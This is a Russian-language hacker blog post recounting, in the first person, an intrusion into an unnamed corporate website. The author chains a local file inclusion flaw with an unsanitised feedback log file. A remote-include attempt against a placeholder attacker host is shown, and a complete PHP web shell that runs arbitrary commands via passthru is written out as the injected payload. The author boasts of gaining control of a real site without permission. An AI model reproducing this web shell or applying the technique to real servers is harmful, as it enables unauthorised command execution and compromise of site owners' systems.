По комментариям и оценкам моей прошлой статьи про взлом сервера решил написать еще одну. Конечно, не очень хочется писать о чем-то ставшем обыденным - каких-то
способах взлома, которые являются уже лет 5 известными, потому ищу в памяти что-то действительно
стоящее.

Думаю, будет интересен пример на дырявом скрипте.
Хотя баг этот известен очень давно, но его как-то не спешат убивать, а точнее
программисты делают эту ошибку снова и
снова. Инклюда... Нет, не спешите кричать, мол "А.. инклюда.. где ты это старье нашел..". Нет! Не буду я говорить о примитиве, о внешних инклюдах, будем говорить о внутренних.
Как, спросите вы? Сейчас узнаете. Смысл, конечно, очень прост.
Думаю, что после прочтения статьи вы скажете
- как же я сам до этого не догадался =) А вот так.

Попался мне однажды корпоративный сайт.
Добротно сделанный, красивый дизайн и все такое. Цели тогда никакой не было, просто что-то искал. Привлекла меня там только линка "сообщить об ошибке". Ну, думаю, интересно.
Скрипт на PHP отправлял куда-то данные, скрипт явно самописный,
какая уж тут уязвимость. Стал оглядываться дальше
и понял, что движок сайта устроен таким способом, что инклюдит index.htm и еще кучу всего.
Причем передает усе это явно: www.bla-bla.bla/index.php?file=index.htm. Ну думаю, пробью на внешнюю инклюду.
Поставил www.bla-bla.bla/index.php?file=http://attack/sh.php, но
такой фортель не удался =( 

В общем, недавно нашел скрипт отправки сообщения админу, но не на мыло,
а в файл. Поняли уже все? Если нет, то читаем далее =)
Фейс скрипта был очень похожим на тот скрипт, ну очень
похож.. Полез на тот сайт с запросом www.bla-bla.bla/feedback.txt и увидел все, что понаписали админу.
А именно ничего. =) Ну, думаю, попали вы, пиплы.
=) Дело еще в том, что скрипт этот не режет тэги, спец. символы и т.д. - просто незачем.
Админу просто читать сложнее будет. В общем, отправил я запрос такой:

www.bla-bla.bla/feedback.php?text=
<html><? $c=$_GET['c']; echo "<form action=\"$PHP_SELF\" method=\"POST\">
[". exec("whoami")." @$SERVER_NAME ". exec("pwd")."] \$
<input size=22 type=text name=c value='$c'><br><br><font face='Lucida Console, Courier'><pre>";if ($c) passthru($c." 2>&1"); ?></form></pre></html> 

И заюзал www.bla-bla.bla/feedback.txt. Ну естественно, я это все там увидел. Теперь надо было проинклюдить feedback.txt.. набил www.bla-bla.bla/index.php?file=feedback.txt.. Ну а дальше просто дело техники.
Думал сначала дэф повесить, но потом жалко стало. =)

Вообще, методов очень много и обидно, что программисты допускают такие нелепые ошибки.
Ведь одна только фильтрация символа "$" уже бы ничего не дала мне
как хакеру. Очень жаль..

Оставить мнение